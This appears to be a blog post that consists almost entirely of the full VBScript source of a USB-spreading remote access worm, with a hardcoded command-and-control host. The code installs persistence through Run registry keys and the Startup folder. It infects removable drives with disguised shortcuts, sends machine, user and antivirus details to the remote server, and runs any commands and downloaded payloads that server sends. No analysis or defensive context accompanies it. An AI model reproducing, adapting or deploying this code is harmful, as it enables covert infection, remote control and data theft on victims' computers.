How to see that Our USB getting effect
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=
host = "ali2010.no-ip.biz"
Port = 83
installdir = "%temp%"
'<[ coded by nj ]> | <[ modifier : houdini ]>
'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=
Const NBVG = "wscript"
Const ZAQSD = "objfsodownload"
Const BHHG = "fileexists"
Const AAAQ = "Type"
Const AAfAQ = "open"
Const AAAtQ = "write"
Const rAAAQ = "SaveToFile"
Const AAAQe = "deletefile"
Const WWW00 = ""
'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
Dim response
Dim cmd
Dim param
Dim shellobj
Dim filesystemobj
Dim httpobj
Set shellobj = wscript.CreateObject _
("wscript.shell")
Set filesystemobj = CreateObject _
("scripting.filesystemobject")
Set httpobj = CreateObject _
("msxml2.xmlhttp")
installname = wscript.scriptname
startup = shellobj.specialfolders _
("startup") & _
"\"
installdir = shellobj.expandenvironmentstrings _
(installdir) & _
"\"
If Not filesystemobj.folderexists(installdir) Then installdir = shellobj.expandenvironmentstrings _
("%temp%") & _
"\"
spliter = "<|>"
sleep = 5000
info = ""
usbspreading = ""
Dim oneonce
'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
On Error Resume Next
instance
While True
install
response = ""
response = post _
("is-ready", "")
cmd = Split _
(response, spliter)
Select Case cmd(CLng("0"))
Case "excecute"
param = cmd(CLng("1"))
execute param
Case "update"
param = cmd(CLng("1"))
oneonce.Close
Set oneonce = filesystemobj.opentextfile(installdir & installname, 2, False)
oneonce.AAAtQ param
oneonce.Close
shellobj.run "wscript.exe //B " & Chr(34) & installdir & installname & Chr(34)
wscript.quit
Case "uninstall"
uninstall
Case "send"
param = cmd(CLng("1"))
download (param)
End Select
wscript.sleep sleep
Wend
Sub install()
On Error Resume Next
Dim lnkobj
Dim filename
Dim fileicon
upstart
For Each Drive In filesystemobj.drives
If Drive.isready = True Then
If Drive.freespace > 0 Then
If Drive.drivetype = 1 Then
filesystemobj.copyfile wscript.scriptfullname, Drive.Path & "\" & installname, True
If filesystemobj.BHHG(Drive.Path & "\" & installname) Then
filesystemobj.getfile(Drive.Path & _
"\" & installname).Attributes = 2 + 4
End If
For Each file In filesystemobj.getfolder(Drive.Path & "\").Files
If InStr(file.Name, ".") Then
If LCase(Split(file.Name, ".")(UBound(Split(file.Name, ".")))) <> "lnk" Then
file.Attributes = 2 + 4
If UCase(file.Name) <> UCase(installname) Then
filename = Split(file.Name, ".")
Set lnkobj = shellobj.createshortcut(Drive.Path & _
"\" & filename(0) & ".lnk")
lnkobj.targetpath = "cmd.exe"
lnkobj.workingdirectory = ""
lnkobj.arguments = "/c start " & Replace(installname, _
" ", ChrW(34) & " " & ChrW(34)) & "&start " & Replace(file.Name, " ", ChrW(34) & " " & ChrW(34)) & "&exit"
fileicon = shellobj.regread("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread("HKEY_LOCAL_MACHINE\software\classes\." & Split(file.Name, ".")(UBound(Split(file.Name, "."))) & "\") & "\defaulticon\")
If InStr(fileicon, ",") = 0 Then
lnkobj.iconlocation = file.Path
Else
lnkobj.iconlocation = fileicon
End If
lnkobj.save()
End If
End If
End If
Next
End If
End If
End If
Next
Err.Clear
End Sub
Sub uninstall()
On Error Resume Next
Dim filename
shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & _
Split(installname, ".")(CLng("0"))
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & _
Split(installname, ".")(CLng("0"))
filesystemobj.AAAQe startup & installname, True
filesystemobj.AAAQe wscript.scriptfullname, True
For Each Drive In filesystemobj.drives
If Drive.isready = True Then
If Drive.freespace > 0 Then
If Drive.drivetype = 1 Then
For Each file In filesystemobj.getfolder(Drive.Path & "\").Files
On Error Resume Next
If InStr(file.Name, ".") Then
If LCase(Split(file.Name, ".")(UBound(Split(file.Name, ".")))) <> "lnk" Then
file.Attributes = 0
If UCase(file.Name) <> UCase(installname) Then
filename = Split(file.Name, ".")
filesystemobj.AAAQe (Drive.Path & "\" & filename(CLng("0")) & ".lnk")
Else
filesystemobj.AAAQe (Drive.Path & "\" & file.Name)
End If
End If
End If
Next
End If
End If
End If
Next
wscript.quit
End Sub
Function post(cmd, param)
post = param
httpobj.AAfAQ "post", "http://" & host & ":" & Port & "/" & cmd, False
httpobj.setrequestheader "user-agent:", information
httpobj.send param
post = httpobj.responsetext
End Function
Function information()
On Error Resume Next
If inf = "" Then
inf = hwid & spliter
inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter
inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter
Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
Set os = root.execquery("select * from win32_operatingsystem")
For Each osinfo In os
inf = inf & osinfo.Caption & spliter
Exit For
Next
inf = inf & "underworld final" & spliter
inf = inf & security & spliter
inf = inf & usbspreading
information = inf
Else
information = inf
End If
End Function
Sub upstart()
On Error Resume Next
Dim S0
Dim S1
S0 = "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\"
S1 = "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\"
shellobj.regwrite S0 & _
Split(installname, ".")(CLng("0")), "wscript.exe //B " & ChrW(34) & installdir & installname & ChrW(34), "REG_SZ"
shellobj.regwrite S1 _
& Split(installname, ".")(CLng("0")), "wscript.exe //B " & ChrW(34) & installdir & installname & ChrW(34), "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname, installdir & installname, True
filesystemobj.copyfile wscript.scriptfullname, startup & installname, True
End Sub
Function hwid()
On Error Resume Next
Set root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
Set disks = root.execquery _
("select * from win32_logicaldisk")
For Each disk In disks
If disk.volumeserialnumber <> "" Then
hwid = disk.volumeserialnumber
Exit For
End If
Next
End Function
Function security()
On Error Resume Next
security = ""
Set objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
Set colitems = objwmiservice.execquery("select * from win32_operatingsystem", , 48)
For Each objitem In colitems
versionstr = Split(objitem.version, ".")
Next
versionstr = Split(colitems.version, ".")
osversion = versionstr(CLng("0")) & "."
For x = 1 To UBound(versionstr)
osversion = osversion & versionstr(i)
Next
osversion = eval(osversion)
If osversion > 6 Then sc = "securitycenter2" Else sc = "securitycenter"
Set objsecuritycenter = GetObject _
("winmgmts:\\localhost\root\" & sc)
Set colantivirus = objsecuritycenter.execquery _
("select * from antivirusproduct", "wql", CLng("0"))
For Each objantivirus In colantivirus
security = security & objantivirus.DisplayName & " ."
Next
If security = "" Then security = "nan-av"
End Function
Function instance()
On Error Resume Next
usbspreading = shellobj.regread("HKEY_LOCAL_MACHINE\software\" & _
Split(installname, ".")(CLng("0")) & "\")
If usbspreading = "" Then
If LCase(Mid(wscript.scriptfullname, 2)) = ":\" & _
LCase(installname) Then
usbspreading = "true"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & _
Split(installname, ".")(CLng("0")) & "\", usbspreading, "REG_SZ"
Else
usbspreading = "false"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & _
Split(installname, ".")(CLng("0")) & "\", usbspreading, "REG_SZ"
End If
End If
upstart
Set scriptfullnameshort = filesystemobj.getfile _
(wscript.scriptfullname)
Set installfullnameshort = filesystemobj.getfile _
(installdir & installname)
If LCase(scriptfullnameshort.shortpath) <> LCase(installfullnameshort.shortpath) Then
shellobj.run "wscript.exe //B " & Chr(34) & _
installdir & installname & Chr(34)
wscript.quit
End If
Err.Clear
Set oneonce = filesystemobj.opentextfile _
(installdir & installname, 8, False)
If Err.Number > 0 Then wscript.quit
End Function
Function download(fileurl)
strsaveto = installdir & Mid(fileurl, InStrRev(fileurl, "\") + 1)
Set objhttpdownload = CreateObject("msxml2.xmlhttp")
objhttpdownload.AAfAQ "post", "http://" & host & ":" & Port & "/" & _
"is-sending" & spliter & fileurl, False
objhttpdownload.send ""
Set ZAQSD = CreateObject _
("scripting.filesystemobject")
If ZAQSD.BHHG(strsaveto) Then
ZAQSD.AAAQe (strsaveto)
End If
If objhttpdownload.Status = 200 Then
Dim objstreamdownload
Set objstreamdownload = CreateObject _
("adodb.stream")
With objstreamdownload
.AAAQ = 1
.AAfAQ
.AAAtQ objhttpdownload.responsebody
.rAAAQ strsaveto
.Close
End With
Set objstreamdownload = Nothing
End If
If ZAQSD.BHHG(strsaveto) Then
shellobj.exec _
strsaveto
End If
End Function
0 comments:
Post a Comment